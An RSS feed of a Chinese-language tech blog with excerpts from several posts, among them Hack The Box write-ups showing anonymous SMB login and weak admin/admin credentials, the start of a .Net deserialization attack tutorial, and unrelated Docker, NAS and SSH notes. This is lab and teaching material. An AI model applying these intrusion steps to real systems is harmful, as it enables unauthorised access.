&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;# allow_anonymous false
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;password_file /mosquitto/config/password.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;接下來只需要透過 README.md 上面的方式設定帳密即可&lt;/p&gt;</description></item><item><title>Arkham (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2022/10/15/arkham-hack-the-box-writeup/</link><pubDate>Sat, 15 Oct 2022 23:03:21 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/10/15/arkham-hack-the-box-writeup/</guid><description>&lt;p&gt;URL : &lt;a href="https://app.hackthebox.com/machines/179"&gt;https://app.hackthebox.com/machines/179&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;先講結論，這是我最近打過 HTB 最硬的一題 …… ，這絕對不是 Medium 的機器，他難度絕對絕對有 Hard。我覺得這一題對於初學者，甚至是剛拿到 OSCP 的人應該都會覺得打得很痛苦 QWQ&lt;/p&gt;
&lt;p&gt;這一題題目包含的知識點：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LUKS 解密&lt;/li&gt;
&lt;li&gt;Tomcat Config 解析&lt;/li&gt;
&lt;li&gt;HMAC 簽章&lt;/li&gt;
&lt;li&gt;DES 加解密&lt;/li&gt;
&lt;li&gt;Java Viewstate 反序列化&lt;/li&gt;
&lt;li&gt;Bypass Windows Defender&lt;/li&gt;
&lt;li&gt;Microsoft Outlook email folder (ost) 解析&lt;/li&gt;
&lt;li&gt;Base64 圖片還原&lt;/li&gt;
&lt;li&gt;Invoke-command 切換使用者&lt;/li&gt;
&lt;li&gt;Bypass CLM&lt;/li&gt;
&lt;li&gt;CMSTP UAC Bypass&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="smb"&gt;SMB&lt;/h2&gt;
&lt;p&gt;有開 SMB&lt;/p&gt;
&lt;p&gt;所以先匿名登上去&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/HTB/Arkham/new ᐅ smbclient.py 10.129.106.199
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright &lt;span style="color:#bd93f9"&gt;2022&lt;/span&gt; SecureAuth Corporation
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Type &lt;span style="color:#8be9fd;font-style:italic"&gt;help&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; list of commands
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# login meow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Password:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;[&lt;/span&gt;*&lt;span style="color:#ff79c6"&gt;]&lt;/span&gt; GUEST Session Granted
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;發現可以存取 &lt;code&gt;BatShare&lt;/code&gt;，裡面有一個 &lt;code&gt;appserver.zip&lt;/code&gt;，載下來分析&lt;/p&gt;</description></item><item><title>Docker Run CRLF 小雷</title><link>http://blog.stevenyu.tw/2022/10/13/docker-run-crlf-%E5%B0%8F%E9%9B%B7/</link><pubDate>Thu, 13 Oct 2022 20:49:35 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/10/13/docker-run-crlf-%E5%B0%8F%E9%9B%B7/</guid><description>&lt;p&gt;在使用 Docker 時，偶爾會順手帶上 &lt;code&gt;-it&lt;/code&gt; (interactive + Allocate a pseudo-TTY)，但我卻因此踩到了一個小雷。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/10/image.png"&gt;&lt;/p&gt;
&lt;p&gt;在 alpine 底下，如果加上了 &lt;code&gt;-it&lt;/code&gt; ，則 &lt;code&gt;\x0a&lt;/code&gt; 會被 Replace 成 &lt;code&gt;\x0d\x0a&lt;/code&gt;。所以如果程式的輸出結果是 binary 的話，會因此壞掉 QQ&lt;/p&gt;</description></item><item><title>Json.Net Unserialize (Hack The Box Writeup)</title><link>http://blog.stevenyu.tw/2022/10/11/json-net-unserialize-hack-the-box-writeup/</link><pubDate>Tue, 11 Oct 2022 17:03:42 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/10/11/json-net-unserialize-hack-the-box-writeup/</guid><description>&lt;p&gt;URL : &lt;a href="https://app.hackthebox.com/machines/210"&gt;https://app.hackthebox.com/machines/210&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;這篇文會從黑箱跟白箱兩個角度來試著了解漏洞的成因與 Exploit 方法，省略一些掃描的過程，直接進入滲透步驟。&lt;/p&gt;
&lt;h2 id="black-box"&gt;Black Box&lt;/h2&gt;
&lt;p&gt;http://10.129.227.191/login.html&lt;/p&gt;
&lt;p&gt;是一個登入介面，透過弱密碼 &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;admin&lt;/code&gt; 可以進入後台。&lt;/p&gt;
&lt;p&gt;觀察登入狀態，可以看出我們是 Post 一個 Json 來進行登入，而登入後會幫我們 Set 一組 Cookie，從 Response 的 Header 可以看出這是一個 IIS 的 Server。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/ymKD0rK.png"&gt;&lt;/p&gt;
&lt;p&gt;這邊可以猜測說，登入後他應該會把 Json 解析或反序列化到某個物件之中，那我們可以試著看看，如果我們給他一個壞掉的 Json 會發生什麼事，例如下圖給他一個最後缺少 &lt;code&gt;&amp;quot;&lt;/code&gt; 的 Json，發現他會噴錯。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://i.imgur.com/vBp32ZR.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;at DemoApp.Data.UsuariosData.GetMd5Hash(String input)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at DemoApp.Data.UsuariosData.Autenticar(String usuario, String password)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at lambda_method(Closure , Object , Object[] )
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.&amp;lt;&amp;gt;c__DisplayClass6_2.b__2(Object instance, Object[] methodParameters)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--- End of stack trace from previous location where exception was thrown ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Web.Http.Controllers.ApiControllerActionInvoker.d__1.MoveNext()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--- End of stack trace from previous location where exception was thrown ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Web.Http.Controllers.ActionFilterResult.d__5.MoveNext()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;--- End of stack trace from previous location where exception was thrown ---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; at System.Web.Http.Dispatcher.HttpControllerDispatcher.d__15.MoveNext()&amp;#34;%
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然而，這些錯誤並沒有太大的幫助 QQ，接下來我們觀察正確的登入後，他吐出來的餅乾是啥。很直覺可以知道他是一個 base64&lt;/p&gt;</description></item><item><title>Synology NAS HEIC to JPG</title><link>http://blog.stevenyu.tw/2022/09/17/synology-nas-heic-to-jpg/</link><pubDate>Sat, 17 Sep 2022 13:20:44 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/09/17/synology-nas-heic-to-jpg/</guid><description>&lt;p&gt;iPhone 透過 Synology 的 Photo Station 備份，預設會存 HEIC，除非到 iPhone 相機的設定部分修改成存 JPG。 但 HEIC 在 Windows 平台上非常不友善 QQ。&lt;/p&gt;
&lt;p&gt;目前貌似沒有看到 S 牌有提供什麼自動轉檔的程式，所以短期可能只能自己處理。&lt;/p&gt;
&lt;p&gt;在 Linux 平台上，可以使用 &lt;a href="https://github.com/shellbro/dockerfile-heif-convert"&gt;GitHub - shellbro/dockerfile-heif-convert&lt;/a&gt; 這套 Docker Image 來處理。&lt;/p&gt;
&lt;p&gt;我們觀察這個 Docker 執行的 Script 可以發現，&lt;a href="https://github.com/shellbro/dockerfile-heif-convert/blob/master/convert-all"&gt;convert-all&lt;/a&gt; 其實就是一個 for 迴圈去枚舉 *.heic，不過 iPhone 預設的副檔名是大寫的 *.HEIC，所以我們有兩種解法。 1. 修改現有的附檔名， 2. 修改這個 Script。 因為懶得重 Build Docker image 我選擇了 1 的方法。&lt;/p&gt;
&lt;p&gt;腳本如下，先 ssh 上 NAS，並 cd 到準備轉檔的資料夾即可&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mkdir heic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;for&lt;/span&gt; a in *.HEIC; &lt;span style="color:#ff79c6"&gt;do&lt;/span&gt; mv -- &lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;$a&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;pwd&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;/heic/&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;${&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;a&lt;/span&gt;%.HEIC&lt;span style="color:#f1fa8c"&gt;}&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;.heic&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff79c6"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo docker run --rm -u &lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;id -u&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;:&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;id -g&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;&amp;#34;&lt;/span&gt; -v &lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;pwd&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;/heic:/input -v &lt;span style="color:#ff79c6"&gt;$(&lt;/span&gt;&lt;span style="color:#8be9fd;font-style:italic"&gt;pwd&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;)&lt;/span&gt;:/output shellbro/heif-convert
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果遇到權限問題，可以自己 hard code uid 跟 gid 即可，可以直接 &lt;code&gt;cat /etc/passwd | &lt;/code&gt; 取得 ID&lt;/p&gt;</description></item><item><title>.Net 反序列化攻擊 101</title><link>http://blog.stevenyu.tw/2022/09/13/net-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E6%93%8A-101/</link><pubDate>Tue, 13 Sep 2022 13:14:32 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/09/13/net-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%94%BB%E6%93%8A-101/</guid><description>&lt;p&gt;.Net 反序列化一直是一個很熱門的話題，但是因為背後通常都是 Windows，搭建題目不便的原因，導致 CTF 通常很少出現。 這邊會用一個很簡單的例子，從 .Net 麻瓜的 Hello World 開始介紹。&lt;/p&gt;
&lt;p&gt;因為不想用肥肥 CS，因此使用 csc 進行編譯，需要先把 C:\Windows\Microsoft.NET\Framework\v4.0.30319\ 加到 path&lt;/p&gt;
&lt;h2 id="0x1-hello-world"&gt;0x1 Hello World&lt;/h2&gt;
&lt;p&gt;身為一個不熟 C# 的人，凡事從 Hello World 開始&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-csharp" data-lang="csharp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;using&lt;/span&gt; System;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;namespace&lt;/span&gt; helloworld{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;class&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;Program&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;static&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;void&lt;/span&gt; Main(&lt;span style="color:#8be9fd"&gt;string&lt;/span&gt;[] args){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Console.WriteLine(&lt;span style="color:#f1fa8c"&gt;&amp;#34;Hello World!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;編譯&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;csc /reference:C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll;C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\WindowsBase.dll /t:exe /out:hello.exe hello.cs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以順利的 &lt;code&gt;Hello World!&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="0x2-hello-class"&gt;0x2 Hello Class&lt;/h2&gt;
&lt;p&gt;C# 中，Class 的寫法是這樣&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-csharp" data-lang="csharp"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;using&lt;/span&gt; System;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;namespace&lt;/span&gt; hello_class{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;class&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;Program&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;static&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;void&lt;/span&gt; Main(&lt;span style="color:#8be9fd"&gt;string&lt;/span&gt;[] args){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Meow myMeow = &lt;span style="color:#ff79c6"&gt;new&lt;/span&gt; Meow();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myMeow.MeowName = &lt;span style="color:#f1fa8c"&gt;&amp;#34;Steven&amp;#34;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; myMeow.Meowww();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;public&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;class&lt;/span&gt; &lt;span style="color:#50fa7b"&gt;Meow&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;public&lt;/span&gt; &lt;span style="color:#8be9fd"&gt;string&lt;/span&gt; MeowName{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;get&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;set&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#8be9fd;font-style:italic"&gt;public&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;void&lt;/span&gt; Meowww(){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Console.WriteLine(&lt;span style="color:#f1fa8c"&gt;&amp;#34;Hello &amp;#34;&lt;/span&gt; + MeowName + &lt;span style="color:#f1fa8c"&gt;&amp;#34; meow meow!&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;編譯&lt;/p&gt;</description></item><item><title>利用 Lima 在 M1 執行 x86 的 Ubuntu</title><link>http://blog.stevenyu.tw/2022/08/21/%E5%88%A9%E7%94%A8-lima-%E5%9C%A8-m1-%E5%9F%B7%E8%A1%8C-x86-%E7%9A%84-ubuntu/</link><pubDate>Sun, 21 Aug 2022 21:34:04 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/08/21/%E5%88%A9%E7%94%A8-lima-%E5%9C%A8-m1-%E5%9F%B7%E8%A1%8C-x86-%E7%9A%84-ubuntu/</guid><description>&lt;p&gt;超簡單就可以直接在 M1 上有類似 WSL 體驗的 x86_64 Ubuntu ， Lima 是透過 QEMU 進行執行的，所以嚴格來說他是一種虛擬機，不太像 WSL 是微軟大大的黑魔法。&lt;/p&gt;
&lt;h2 id="安裝"&gt;安裝&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;brew install lima
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;準備一個 Yaml，這邊我是直接抄官方的 &lt;a href="https://raw.githubusercontent.com/lima-vm/lima/master/examples/ubuntu.yaml"&gt;Example&lt;/a&gt;，並修改，增加第一行的 arch，根據官方文件表示，增加 arch 就能直接指定 CPU 型態&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-yaml" data-lang="yaml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;arch&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;images&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Try to use release-yyyyMMdd image if available. Note that release-yyyyMMdd will be removed after several months.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-amd64.img&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;arch&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;digest&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;sha256:86481acb9dbd62e3e93b49eb19a40c66c8aa07f07eff10af20ddf355a317e29f&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;https://cloud-images.ubuntu.com/releases/22.04/release-20220712/ubuntu-22.04-server-cloudimg-arm64.img&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;arch&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;digest&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;sha256:e1ce033239f0038dca5ef09e582762ba0d0dfdedc1d329bc51bb0e9f5057af9d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Fallback to the latest release image.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#6272a4"&gt;# Hint: run `limactl prune` to invalidate the cache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-amd64.img&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;arch&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;x86_64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;https://cloud-images.ubuntu.com/releases/22.04/release/ubuntu-22.04-server-cloudimg-arm64.img&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;arch&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;aarch64&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;mounts&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;~&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;- &lt;span style="color:#ff79c6"&gt;location&lt;/span&gt;: &lt;span style="color:#f1fa8c"&gt;&amp;#34;/tmp/lima&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;writable&lt;/span&gt;: &lt;span style="color:#ff79c6"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="build-環境"&gt;Build 環境&lt;/h2&gt;
&lt;p&gt;這邊的 ./ubuntu.yaml 就是前面準備的內容，而 &amp;ndash;name 則是帶之後要給他的名字&lt;/p&gt;</description></item><item><title>SSH Tunnel (Port Forwarding) 速記法</title><link>http://blog.stevenyu.tw/2022/08/11/ssh-tunnel-port-forwarding-%E9%80%9F%E8%A8%98%E6%B3%95/</link><pubDate>Thu, 11 Aug 2022 17:43:40 +0800</pubDate><guid>http://blog.stevenyu.tw/2022/08/11/ssh-tunnel-port-forwarding-%E9%80%9F%E8%A8%98%E6%B3%95/</guid><description>&lt;p&gt;好像好久沒有更新了，回來刷一下存在感。&lt;/p&gt;
&lt;p&gt;最近一直遇到需要打 ssh tunnel 的情境，然而，網路上那些圖解的 SSH Tunnel 對我來說是越看越ㄇㄤ QQ，可能我對於圖像的理解有一點點小障礙吧，以下是我自己對於 SSH Local, Remote 以及 Dynamic Forwarding 的速記法。&lt;/p&gt;
&lt;p&gt;首先是一個定則就是 &lt;code&gt;目標:原始IP:原始Port&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="local-forwarding"&gt;Local Forwarding&lt;/h2&gt;
